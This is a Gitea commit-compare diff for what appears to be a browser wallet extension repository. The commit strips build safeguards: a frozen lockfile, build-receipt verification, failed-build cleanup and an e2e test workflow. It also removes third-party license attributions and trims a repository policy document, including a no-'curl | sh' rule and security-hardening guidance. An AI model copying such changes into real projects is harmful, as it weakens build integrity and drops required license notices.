Compare commits
1 Commits
041f5dc39f
...
fix/87-con
| Author | SHA1 | Date | |
|---|---|---|---|
| 5e4cf34ef8 |
@@ -1,7 +1,4 @@
|
||||
# .git is deliberately NOT excluded: build.js shells out to `git rev-parse` for
|
||||
# build-info stamping and the Dockerfile runs `make build`, so excluding it
|
||||
# would make every built extension report commitHash "unknown".
|
||||
.git
|
||||
node_modules
|
||||
.DS_Store
|
||||
dist
|
||||
release
|
||||
|
||||
@@ -6,4 +6,4 @@ jobs:
|
||||
steps:
|
||||
# actions/checkout v4.2.2, 2026-02-22
|
||||
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
|
||||
- run: script/cibuild
|
||||
- run: docker build .
|
||||
|
||||
@@ -1,49 +0,0 @@
|
||||
name: e2e
|
||||
on: [push]
|
||||
|
||||
# The browser end-to-end suites, one job per browser, deliberately kept out
|
||||
# of the check workflow: REPO_POLICIES.md caps make test at 20 seconds and
|
||||
# script/cibuild is a plain `docker build .` whose Dockerfile runs
|
||||
# make check, so folding a browser suite into either would blow that cap
|
||||
# and slow the local fast path. Before this workflow every browser-level
|
||||
# guarantee in this repo held only when a human remembered to run it.
|
||||
#
|
||||
# One job per browser rather than two steps in one job, so a Chrome failure
|
||||
# does not hide the Firefox result.
|
||||
#
|
||||
# Each job is one script and nothing else. Both scripts need docker and
|
||||
# nothing else — they deliver the repo to the daemon as a build context and
|
||||
# build the extension inside the pinned image — which is what makes them
|
||||
# runnable here at all: the runner executes the job in a container against
|
||||
# the host's docker socket, so a `-v "$PWD:/work"` source path is resolved
|
||||
# by the host daemon and mounts an empty directory, and the runner image's
|
||||
# node is too old to install this repo's dependencies.
|
||||
#
|
||||
# These jobs REPORT, they do not gate. Whether a check blocks a merge is
|
||||
# Gitea branch protection, which this repo does not configure, so a failure
|
||||
# here is a red mark a reviewer has to account for rather than a hard
|
||||
# block. Making e2e-chrome a required check is blocked on the measured
|
||||
# flake in the dApp signing wait -- two of six runs of unmutated code on a
|
||||
# loaded machine -- tracked as
|
||||
# https://git.eeqj.de/sneak/AutistMask/issues/287. A gate that fails at
|
||||
# random teaches people to merge past red.
|
||||
#
|
||||
# Nothing here may pass vacuously. There is no continue-on-error and no
|
||||
# `|| true`. Both scripts exit non-zero when docker is missing, when the
|
||||
# image build fails, and when the browser fails to start; the Chrome
|
||||
# harness aborts the suite outright if its network interception is not in
|
||||
# effect.
|
||||
jobs:
|
||||
e2e-chrome:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
# actions/checkout v4.2.2, 2026-02-22
|
||||
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
|
||||
- run: script/test-e2e
|
||||
|
||||
e2e-firefox:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
# actions/checkout v4.2.2, 2026-02-22
|
||||
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
|
||||
- run: script/test-e2e-firefox
|
||||
3
.gitignore
vendored
3
.gitignore
vendored
@@ -23,9 +23,6 @@ node_modules/
|
||||
# Build output
|
||||
dist/
|
||||
|
||||
# Release artifacts (make package). Derived from dist/, never committed.
|
||||
release/
|
||||
|
||||
# Yarn
|
||||
.yarn-integrity
|
||||
package-lock.json
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
node_modules/
|
||||
yarn.lock
|
||||
dist/
|
||||
release/
|
||||
.claude/
|
||||
|
||||
37
Dockerfile
37
Dockerfile
@@ -1,42 +1,15 @@
|
||||
# node:22-slim (22.x LTS), 2026-02-24
|
||||
FROM node@sha256:5373f1906319b3a1f291da5d102f4ce5c77ccbe29eb637f072b6c7b70443fc36 AS base
|
||||
FROM node@sha256:5373f1906319b3a1f291da5d102f4ce5c77ccbe29eb637f072b6c7b70443fc36
|
||||
|
||||
RUN apt-get update && apt-get install -y --no-install-recommends make && rm -rf /var/lib/apt/lists/*
|
||||
RUN corepack enable && corepack prepare yarn@1.22.22 --activate
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
# Marks "already inside the lint container" for script/lint, which otherwise
|
||||
# shells out to docker to build the lint stage below. Nothing outside this
|
||||
# image sets it.
|
||||
ENV AUTISTMASK_LINT_NATIVE=1
|
||||
|
||||
# script/test's default 30s bound is the host figure, against a suite that
|
||||
# runs in about 8s there. In here the same suite starts on a cold jest cache
|
||||
# and shares the runner with the rest of the build, so 30s is marginal rather
|
||||
# than a bound — it killed a healthy suite at 30.6s on a cold CI cache. 180s
|
||||
# still catches a hang in three minutes and cannot be tripped by a suite that
|
||||
# is merely running on contended hardware.
|
||||
ENV AUTISTMASK_TEST_TIMEOUT=180
|
||||
|
||||
# script/bootstrap installs all prerequisites (make via apt here; node
|
||||
# is already in the base image, yarn comes via corepack) and runs
|
||||
# yarn install --frozen-lockfile. Dependency manifests are copied first
|
||||
# so the bootstrap layer is cached until they change.
|
||||
COPY script/ script/
|
||||
COPY package.json yarn.lock ./
|
||||
RUN script/bootstrap
|
||||
RUN yarn install --frozen-lockfile
|
||||
|
||||
COPY . .
|
||||
|
||||
# Lint stage — fail fast on static analysis and formatting, before the tests
|
||||
# and the build. This is also the stage script/lint builds from a host, which
|
||||
# is how linting stays on the pinned ESLint rather than the host's.
|
||||
FROM base AS lint
|
||||
RUN make lint
|
||||
|
||||
# Full check and build. The COPY --from is a no-op file copy whose only job is
|
||||
# to make BuildKit finish the lint stage before this one starts; without it the
|
||||
# stages run in parallel and a lint failure would not fail the build early.
|
||||
FROM base AS check
|
||||
COPY --from=lint /app/package.json /dev/null
|
||||
|
||||
RUN make check
|
||||
RUN make build
|
||||
|
||||
114
LICENSE
114
LICENSE
@@ -672,117 +672,3 @@ may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
||||
|
||||
===========================================================================
|
||||
THIRD-PARTY FILES
|
||||
===========================================================================
|
||||
|
||||
The following files are not original to this project and are distributed
|
||||
under their own licenses. They are NOT covered by the GPL-3.0 license above.
|
||||
|
||||
---------------------------------------------------------------------------
|
||||
File: src/shared/phishingBlocklist.json
|
||||
Source: the eth-phishing-detect community blocklist (src/config.json).
|
||||
The file here is derived from it, not a copy of it: only the
|
||||
blacklist is carried over, and each entry is stored as a truncated
|
||||
digest rather than a domain name. script/vendor-blocklist records
|
||||
the exact upstream URL, the commit it is pinned to and the hash of
|
||||
the bytes that commit serves, and is what regenerates this file.
|
||||
The URL previously cited here, under a different organisation,
|
||||
returns 404: that repository is gone.
|
||||
Copyright: Copyright (c) 2018 kumavis
|
||||
License: Don't Be a Dick Public License (DBAD), Version 1.2
|
||||
---------------------------------------------------------------------------
|
||||
|
||||
DON'T BE A DICK PUBLIC LICENSE
|
||||
|
||||
Version 1.2, February 2021
|
||||
|
||||
Copyright (C) 2018 kumavis
|
||||
|
||||
Everyone is permitted to copy and distribute verbatim or modified
|
||||
copies of this license document.
|
||||
|
||||
DON'T BE A DICK PUBLIC LICENSE
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
1. Do whatever you like with the original work, just don't be a dick.
|
||||
|
||||
Being a dick includes - but is not limited to - the following instances:
|
||||
|
||||
1a. Outright copyright infringement - Don't just copy the original
|
||||
work/works and change the name.
|
||||
1b. Selling the unmodified original with no work done what-so-ever,
|
||||
that's REALLY being a dick.
|
||||
1c. Modifying the original work to contain hidden harmful content.
|
||||
That would make you a PROPER dick.
|
||||
|
||||
2. If you become rich through modifications, related works/services, or
|
||||
supporting the original work, share the love. Only a dick would make
|
||||
loads off this work and not buy the original work's creator(s) a pint.
|
||||
|
||||
3. Code is provided with no warranty. Using somebody else's code and
|
||||
bitching when it goes wrong makes you a DONKEY dick. Fix the problem
|
||||
yourself. A non-dick would submit the fix back or submit a bug report.
|
||||
|
||||
4. If you use code, calling it your own would make you a ROYAL dick.
|
||||
Alternatively, even just a comment giving attribution to where you found
|
||||
the code would be OK.
|
||||
|
||||
---------------------------------------------------------------------------
|
||||
File: src/shared/scamlist.js (address data from MyEtherWallet ethereum-lists)
|
||||
Source: https://github.com/MyEtherWallet/ethereum-lists (addresses-darklist.json)
|
||||
Copyright: Copyright (c) 2020 MyEtherWallet
|
||||
License: MIT License
|
||||
---------------------------------------------------------------------------
|
||||
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2020 MyEtherWallet
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
---------------------------------------------------------------------------
|
||||
File: src/shared/scamlist.js (address data from EtherScamDB)
|
||||
Source: https://github.com/MrLuit/EtherScamDB (scams.yaml)
|
||||
Copyright: Copyright (c) 2018 Luit Hollander
|
||||
License: MIT License
|
||||
---------------------------------------------------------------------------
|
||||
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2018 Luit Hollander
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
117
Makefile
117
Makefile
@@ -1,112 +1,45 @@
|
||||
.PHONY: bootstrap setup install test test-e2e test-e2e-firefox lint fmt fmt-check check check-censored docker hooks build build-debug package vendor-blocklist clean dev
|
||||
|
||||
# Standard targets are thin shims; the implementations live in script/
|
||||
# per the scripts-to-rule-them-all pattern (see the Entrypoints section
|
||||
# of README.md).
|
||||
|
||||
bootstrap:
|
||||
@script/bootstrap
|
||||
|
||||
setup:
|
||||
@script/setup
|
||||
.PHONY: install test lint fmt fmt-check check docker hooks build clean dev
|
||||
|
||||
install:
|
||||
@yarn install --frozen-lockfile
|
||||
@yarn install
|
||||
|
||||
test:
|
||||
@script/test
|
||||
|
||||
# Browser end-to-end suites. Both require docker; neither is part of check.
|
||||
test-e2e:
|
||||
@script/test-e2e
|
||||
|
||||
test-e2e-firefox:
|
||||
@script/test-e2e-firefox
|
||||
@echo "Running tests..."
|
||||
@timeout 30 yarn run test 2>&1
|
||||
|
||||
lint:
|
||||
@script/lint
|
||||
@echo "Linting..."
|
||||
@yarn run lint 2>&1
|
||||
|
||||
fmt:
|
||||
@script/fmt
|
||||
@echo "Formatting..."
|
||||
@yarn run fmt 2>&1
|
||||
|
||||
fmt-check:
|
||||
@script/fmt-check
|
||||
@echo "Checking formatting..."
|
||||
@yarn run fmt-check 2>&1
|
||||
|
||||
check:
|
||||
@script/check
|
||||
check: test lint fmt-check
|
||||
|
||||
# Assert that the competitor name appears nowhere but its documented
|
||||
# exceptions. Part of check, and re-run against dist/ at the end of a build;
|
||||
# separate target for re-running it alone.
|
||||
check-censored:
|
||||
@script/check-censored
|
||||
|
||||
package:
|
||||
@script/package
|
||||
|
||||
docker:
|
||||
@script/docker
|
||||
|
||||
hooks:
|
||||
@script/install-precommit
|
||||
|
||||
# build.js writes a receipt of everything it emitted — every path, its sha256,
|
||||
# and whether it is a bundle containing constants.js — and script/verify-build
|
||||
# checks dist/ against that. The receipt is made here, fresh per invocation,
|
||||
# outside the repo, and deleted again: a standing file inside dist/ would be
|
||||
# rewritten by whoever rewrote dist/, which is what made the old check
|
||||
# satisfiable by a hand-written tree.
|
||||
#
|
||||
# The expected mode is an explicit argument and AUTISTMASK_DEBUG is scrubbed
|
||||
# from the verifier's environment. The script no longer reads it at all; env -u
|
||||
# is here so that stays true of anything it calls. It is deliberately NOT
|
||||
# scrubbed from the build itself: with AUTISTMASK_DEBUG=1 exported, this target
|
||||
# compiles a debug bundle and then fails on it, loudly, rather than quietly
|
||||
# handing back something other than the release build that was asked for.
|
||||
#
|
||||
# Every step of this target is wrapped in script/discard-dist-on-failure, so a
|
||||
# release build that fails removes dist/ instead of leaving a complete, loadable
|
||||
# debug bundle there for whoever runs the build, sees it fail, and loads
|
||||
# dist/chrome/ anyway. A step that succeeds removes nothing, and build-debug is
|
||||
# deliberately not wrapped.
|
||||
build:
|
||||
@echo "Building extension..."
|
||||
@set -eu; \
|
||||
receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \
|
||||
trap 'rm -f "$$receipt"' EXIT INT TERM; \
|
||||
script/discard-dist-on-failure \
|
||||
env AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
|
||||
script/discard-dist-on-failure \
|
||||
env -u AUTISTMASK_DEBUG script/verify-build --expect release \
|
||||
--receipt "$$receipt"
|
||||
@script/discard-dist-on-failure script/check-censored --require-dist
|
||||
|
||||
# Development-only build: enables the red DEBUG / INSECURE banner and makes
|
||||
# the hardcoded test recovery phrase the output of wallet creation. Never
|
||||
# distribute the artifacts this produces.
|
||||
#
|
||||
# No discard-dist-on-failure here, on purpose: a debug build that fails is not
|
||||
# producing an artifact anyone could mistake for a release one, and its dist/ is
|
||||
# the evidence of what went wrong.
|
||||
build-debug:
|
||||
@echo "Building extension (DEBUG)..."
|
||||
@set -eu; \
|
||||
receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \
|
||||
trap 'rm -f "$$receipt"' EXIT INT TERM; \
|
||||
AUTISTMASK_DEBUG=1 AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
|
||||
env -u AUTISTMASK_DEBUG script/verify-build --expect debug \
|
||||
--receipt "$$receipt"
|
||||
@script/check-censored --require-dist
|
||||
|
||||
# Refresh src/shared/phishingBlocklist.json from its hash-pinned upstream.
|
||||
# Run deliberately, land the diff: the extension does no runtime fetching, so
|
||||
# the shipped list is as fresh as the last vendoring run that was released.
|
||||
vendor-blocklist:
|
||||
@script/vendor-blocklist
|
||||
@yarn run build 2>&1
|
||||
|
||||
clean:
|
||||
@rm -rf dist/ release/
|
||||
@rm -rf dist/
|
||||
|
||||
dev:
|
||||
@echo "Building in watch mode..."
|
||||
@yarn run build --watch 2>&1
|
||||
|
||||
docker:
|
||||
@docker build -t autistmask .
|
||||
|
||||
hooks:
|
||||
@echo "Installing pre-commit hook..."
|
||||
@mkdir -p .git/hooks
|
||||
@echo '#!/usr/bin/env bash' > .git/hooks/pre-commit
|
||||
@echo 'set -euo pipefail' >> .git/hooks/pre-commit
|
||||
@echo 'make check' >> .git/hooks/pre-commit
|
||||
@chmod +x .git/hooks/pre-commit
|
||||
@echo "Pre-commit hook installed."
|
||||
|
||||
252
REPO_POLICIES.md
252
REPO_POLICIES.md
@@ -1,6 +1,6 @@
|
||||
---
|
||||
title: Repository Policies
|
||||
last_modified: 2026-07-06
|
||||
last_modified: 2026-02-22
|
||||
---
|
||||
|
||||
This document covers repository structure, tooling, and workflow standards. Code
|
||||
@@ -34,46 +34,10 @@ style conventions are in separate documents:
|
||||
every file before committing. There are zero exceptions to this rule.
|
||||
|
||||
- Every repo with software must have a root `Makefile` with these targets:
|
||||
`make bootstrap`, `make setup`, `make test`, `make lint`, `make fmt` (writes),
|
||||
`make fmt-check` (read-only), `make check` (runs `test`, `lint`, `fmt-check`),
|
||||
`make docker`, and `make hooks` (installs pre-commit hook). A model Makefile
|
||||
is at `https://git.eeqj.de/sneak/prompts/raw/branch/main/Makefile`.
|
||||
|
||||
- Repos follow the
|
||||
[Scripts to Rule Them All](https://github.com/github/scripts-to-rule-them-all)
|
||||
pattern: the implementation of each Makefile target lives in an executable
|
||||
script in `script/` (`script/bootstrap`, `script/setup`, `script/test`,
|
||||
`script/lint`, `script/fmt`, `script/fmt-check`, `script/check`,
|
||||
`script/docker`), and the Makefile targets are thin shims that call them. The
|
||||
scripts must be POSIX sh (`#!/bin/sh`, `set -eu`, no bashisms) so they run in
|
||||
minimal containers (e.g. alpine images have no bash); locate the repo root
|
||||
with `$(cd "$(dirname "$0")/.." && pwd -P)` and `cd` there before acting. From
|
||||
the standard's canonical set we use `bootstrap`, `setup` (make the repo ready
|
||||
for development after a fresh clone: runs `bootstrap`, then
|
||||
`install-precommit`, plus any repo-specific initialization), `test`, and
|
||||
`cibuild`. `script/bootstrap` installs all dependencies idempotently and
|
||||
assumes nothing is present: base tools come from nix, apt, brew, or apk
|
||||
(detected in that order; apt runs noninteractive). For node it uses the
|
||||
installed node if present; otherwise it installs a PINNED node version via
|
||||
nvm, first installing nvm itself if missing — from a hash-verified GitHub
|
||||
release archive (never `curl | sh`), with bash installed as an explicit
|
||||
prerequisite since nvm requires bash. yarn is then pinned via
|
||||
`corepack prepare yarn@<version> --activate`. Never install "latest" or "lts";
|
||||
always exact versions. `script/cibuild` runs the CI build: it changes to the
|
||||
repo root and runs `docker build .`; the Gitea workflow calls it. Four further
|
||||
scripts are our own extensions to the standard: `script/check` runs
|
||||
`script/test`, `script/lint`, and `script/fmt-check`; `script/precommit` is
|
||||
what the git pre-commit hook runs, and it calls `script/check`;
|
||||
`script/install-precommit` installs the git pre-commit hook (the `make hooks`
|
||||
target shims to it); and `script/projectname` (literally that filename) simply
|
||||
outputs the project's name. Scripts that need the name call
|
||||
`script/projectname` — e.g. `script/docker` assembles its image tag from it —
|
||||
so those scripts stay byte-identical across all repos. Repo-type-specific
|
||||
pre-commit extras (e.g. `go mod tidy` verification in Go repos) belong in
|
||||
`script/precommit`, not in the hook itself. Model scripts are at
|
||||
`https://git.eeqj.de/sneak/prompts/raw/branch/main/script/<name>`. The README
|
||||
must document the provided scripts in an **Entrypoints** section (see the
|
||||
README requirements below).
|
||||
`make test`, `make lint`, `make fmt` (writes), `make fmt-check` (read-only),
|
||||
`make check` (prereqs: `test`, `lint`, `fmt-check`), `make docker`, and
|
||||
`make hooks` (installs pre-commit hook). A model Makefile is at
|
||||
`https://git.eeqj.de/sneak/prompts/raw/branch/main/Makefile`.
|
||||
|
||||
- Always use Makefile targets (`make fmt`, `make test`, `make lint`, etc.)
|
||||
instead of invoking the underlying tools directly. The Makefile is the single
|
||||
@@ -93,83 +57,11 @@ style conventions are in separate documents:
|
||||
as a build step so the build fails if the branch is not green. For non-server
|
||||
repos, the Dockerfile should bring up a development environment and run
|
||||
`make check`. For server repos, `make check` should run as an early build
|
||||
stage before the final image is assembled. Dockerfiles install development
|
||||
prerequisites by running `script/bootstrap` rather than duplicating installs
|
||||
inline; COPY `script/` and the dependency manifests (`package.json` +
|
||||
`yarn.lock`, `go.mod` + `go.sum`, etc.) before running it so the bootstrap
|
||||
layer stays cached until dependencies change.
|
||||
|
||||
- **Dockerfiles must use a separate lint stage for fail-fast feedback.** Go
|
||||
repos use a multistage build where linting runs in an independent stage based
|
||||
on the `golangci/golangci-lint` image (pinned by hash). This stage runs
|
||||
`make fmt-check` and `make lint` before the full build begins. The build stage
|
||||
then declares an explicit dependency on the lint stage via
|
||||
`COPY --from=lint /src/go.sum /dev/null`, which forces BuildKit to complete
|
||||
linting before proceeding to compilation and tests. This ensures lint failures
|
||||
surface in seconds rather than minutes, without blocking on dependency
|
||||
download or compilation in the build stage.
|
||||
|
||||
The standard pattern for a Go repo Dockerfile is:
|
||||
|
||||
```dockerfile
|
||||
# Lint stage — fast feedback on formatting and lint issues
|
||||
# golangci/golangci-lint:v2.x.x, YYYY-MM-DD
|
||||
FROM golangci/golangci-lint@sha256:... AS lint
|
||||
WORKDIR /src
|
||||
COPY go.mod go.sum ./
|
||||
RUN go mod download
|
||||
COPY . .
|
||||
RUN make fmt-check
|
||||
RUN make lint
|
||||
|
||||
# Build stage
|
||||
# golang:1.x-alpine, YYYY-MM-DD
|
||||
FROM golang@sha256:... AS builder
|
||||
WORKDIR /src
|
||||
|
||||
# Force BuildKit to run the lint stage before proceeding
|
||||
COPY --from=lint /src/go.sum /dev/null
|
||||
|
||||
COPY go.mod go.sum ./
|
||||
RUN go mod download
|
||||
COPY . .
|
||||
RUN make test
|
||||
|
||||
ARG VERSION=dev
|
||||
RUN CGO_ENABLED=0 go build -trimpath \
|
||||
-ldflags="-s -w -X main.Version=${VERSION}" \
|
||||
-o /app ./cmd/app/
|
||||
|
||||
# Runtime stage
|
||||
FROM alpine@sha256:...
|
||||
COPY --from=builder /app /usr/local/bin/app
|
||||
ENTRYPOINT ["app"]
|
||||
```
|
||||
|
||||
Key points:
|
||||
- The lint stage uses the `golangci/golangci-lint` image directly (it
|
||||
includes both Go and the linter), so there is no need to install the
|
||||
linter separately.
|
||||
- `COPY --from=lint /src/go.sum /dev/null` is a no-op file copy that creates
|
||||
a stage dependency. BuildKit runs stages in parallel by default; without
|
||||
this line, the build stage would not wait for lint to finish and a lint
|
||||
failure might not fail the overall build.
|
||||
- If the project uses `//go:embed` directives that reference build artifacts
|
||||
(e.g. a web frontend compiled in a separate stage), the lint stage must
|
||||
create placeholder files so the embed directives resolve. Example:
|
||||
`RUN mkdir -p web/dist && touch web/dist/index.html web/dist/style.css`.
|
||||
The lint stage should not depend on the actual build output — it exists to
|
||||
fail fast.
|
||||
- If the project requires CGO or system libraries for linting (e.g.
|
||||
`vips-dev`), install them in the lint stage with `apk add`.
|
||||
- The build stage runs `make test` after compilation setup. Tests run in the
|
||||
build stage, not the lint stage, because they may require compiled
|
||||
artifacts or heavier dependencies.
|
||||
stage before the final image is assembled.
|
||||
|
||||
- Every repo should have a Gitea Actions workflow (`.gitea/workflows/`) that
|
||||
runs `script/cibuild` (which runs `docker build .`) on push. Since the
|
||||
Dockerfile already runs `make check`, a successful build implies all checks
|
||||
pass.
|
||||
runs `docker build .` on push. Since the Dockerfile already runs `make check`,
|
||||
a successful build implies all checks pass.
|
||||
|
||||
- Use platform-standard formatters: `black` for Python, `prettier` for
|
||||
JS/CSS/Markdown/HTML, `go fmt` for Go. Always use default configuration with
|
||||
@@ -177,11 +69,9 @@ style conventions are in separate documents:
|
||||
Markdown (hard-wrap at 80 columns). Documentation and writing repos (Markdown,
|
||||
HTML, CSS) should also have `.prettierrc` and `.prettierignore`.
|
||||
|
||||
- Pre-commit hook: runs `script/precommit`, which calls `script/check`. If local
|
||||
testing is not possible in the repo, `script/precommit` may skip `script/test`
|
||||
and run only `script/lint` and `script/fmt-check`. The hook is installed by
|
||||
`script/install-precommit`; the Makefile must provide a `make hooks` target
|
||||
that shims to it.
|
||||
- Pre-commit hook: `make check` if local testing is possible, otherwise
|
||||
`make lint && make fmt-check`. The Makefile should provide a `make hooks`
|
||||
target to install the pre-commit hook.
|
||||
|
||||
- All repos with software must have tests that run via the platform-standard
|
||||
test framework (`go test`, `pytest`, `jest`/`vitest`, etc.). If no meaningful
|
||||
@@ -192,42 +82,6 @@ style conventions are in separate documents:
|
||||
- `make test` must complete in under 20 seconds. Add a 30-second timeout in the
|
||||
Makefile.
|
||||
|
||||
- **`make test` should use the conditional verbose rerun pattern.** Run tests
|
||||
without `-v` (verbose) first. If tests fail, automatically rerun with `-v` to
|
||||
show full output. This keeps CI logs and `docker build` output clean on
|
||||
success (just package/suite summaries) while providing full diagnostic detail
|
||||
on failure (every test case, every assertion). The general shell pattern:
|
||||
|
||||
```makefile
|
||||
test:
|
||||
@<test-command> || \
|
||||
{ echo "--- Rerunning with -v for details ---"; \
|
||||
<test-command-with-v>; exit 1; }
|
||||
```
|
||||
|
||||
Go example:
|
||||
|
||||
```makefile
|
||||
test:
|
||||
@go test -timeout 30s -race -cover ./... || \
|
||||
{ echo "--- Rerunning with -v for details ---"; \
|
||||
go test -timeout 30s -race -v ./...; exit 1; }
|
||||
```
|
||||
|
||||
Python example:
|
||||
|
||||
```makefile
|
||||
test:
|
||||
@python -m pytest || \
|
||||
{ echo "--- Rerunning with -v for details ---"; \
|
||||
python -m pytest -v; exit 1; }
|
||||
```
|
||||
|
||||
The `exit 1` ensures the target always fails after a rerun — the first run
|
||||
already proved the tests are broken, so the build must not pass even if a
|
||||
flaky test happens to succeed on the second attempt. The rerun exists solely
|
||||
for diagnostic output.
|
||||
|
||||
- Docker builds must complete in under 5 minutes.
|
||||
|
||||
- `make check` must not modify any files in the repo. Tests may use temporary
|
||||
@@ -244,13 +98,6 @@ style conventions are in separate documents:
|
||||
`https://git.eeqj.de/sneak/prompts/raw/branch/main/.gitignore` when setting up
|
||||
a new repo.
|
||||
|
||||
- **No build artifacts in version control.** Code-derived data (compiled
|
||||
bundles, minified output, generated assets) must never be committed to the
|
||||
repository if it can be avoided. The build process (e.g. Dockerfile, Makefile)
|
||||
should generate these at build time. Notable exception: Go protobuf generated
|
||||
files (`.pb.go`) ARE committed because repos need to work with `go get`, which
|
||||
downloads code but does not execute code generation.
|
||||
|
||||
- Never use `git add -A` or `git add .`. Always stage files explicitly by name.
|
||||
|
||||
- Never force-push to `main`.
|
||||
@@ -274,76 +121,12 @@ style conventions are in separate documents:
|
||||
- Dockerized web services listen on port 8080 by default, overridable with
|
||||
`PORT`.
|
||||
|
||||
- **HTTP/web services must be hardened for production internet exposure before
|
||||
tagging 1.0.** This means full compliance with security best practices
|
||||
including, without limitation, all of the following:
|
||||
- **Security headers** on every response:
|
||||
- `Strict-Transport-Security` (HSTS) with `max-age` of at least one year
|
||||
and `includeSubDomains`.
|
||||
- `Content-Security-Policy` (CSP) with a restrictive default policy
|
||||
(`default-src 'self'` as a baseline, tightened per-resource as
|
||||
needed). Never use `unsafe-inline` or `unsafe-eval` unless
|
||||
unavoidable, and document the reason.
|
||||
- `X-Frame-Options: DENY` (or `SAMEORIGIN` if framing is required).
|
||||
Prefer the `frame-ancestors` CSP directive as the primary control.
|
||||
- `X-Content-Type-Options: nosniff`.
|
||||
- `Referrer-Policy: strict-origin-when-cross-origin` (or stricter).
|
||||
- `Permissions-Policy` restricting access to browser features the
|
||||
application does not use (camera, microphone, geolocation, etc.).
|
||||
- **Request and response limits:**
|
||||
- Maximum request body size enforced on all endpoints (e.g. Go
|
||||
`http.MaxBytesReader`). Choose a sane default per-route; never accept
|
||||
unbounded input.
|
||||
- Maximum response body size where applicable (e.g. paginated APIs).
|
||||
- `ReadTimeout` and `ReadHeaderTimeout` on the `http.Server` to defend
|
||||
against slowloris attacks.
|
||||
- `WriteTimeout` on the `http.Server`.
|
||||
- `IdleTimeout` on the `http.Server`.
|
||||
- Per-handler execution time limits via `context.WithTimeout` or
|
||||
chi/stdlib `middleware.Timeout`.
|
||||
- **Authentication and session security:**
|
||||
- Rate limiting on password-based authentication endpoints. API keys are
|
||||
high-entropy and not susceptible to brute force, so they are exempt.
|
||||
- CSRF tokens on all state-mutating HTML forms. API endpoints
|
||||
authenticated via `Authorization` header (Bearer token, API key) are
|
||||
exempt because the browser does not attach these automatically.
|
||||
- Passwords stored using bcrypt, scrypt, or argon2 — never plain-text,
|
||||
MD5, or SHA.
|
||||
- Session cookies set with `HttpOnly`, `Secure`, and `SameSite=Lax` (or
|
||||
`Strict`) attributes.
|
||||
- **Reverse proxy awareness:**
|
||||
- True client IP detection when behind a reverse proxy
|
||||
(`X-Forwarded-For`, `X-Real-IP`). The application must accept
|
||||
forwarded headers only from a configured set of trusted proxy
|
||||
addresses — never trust `X-Forwarded-For` unconditionally.
|
||||
- **CORS:**
|
||||
- Authenticated endpoints must restrict `Access-Control-Allow-Origin` to
|
||||
an explicit allowlist of known origins. Wildcard (`*`) is acceptable
|
||||
only for public, unauthenticated read-only APIs.
|
||||
- **Error handling:**
|
||||
- Internal errors must never leak stack traces, SQL queries, file paths,
|
||||
or other implementation details to the client. Return generic error
|
||||
messages in production; detailed errors only when `DEBUG` is enabled.
|
||||
- **TLS:**
|
||||
- Services never terminate TLS directly. They are always deployed behind
|
||||
a TLS-terminating reverse proxy. The service itself listens on plain
|
||||
HTTP. However, HSTS headers and `Secure` cookie flags must still be
|
||||
set by the application so that the browser enforces HTTPS end-to-end.
|
||||
|
||||
This list is non-exhaustive. Apply defense-in-depth: if a standard security
|
||||
hardening measure exists for HTTP services and is not listed here, it is
|
||||
still expected. When in doubt, harden.
|
||||
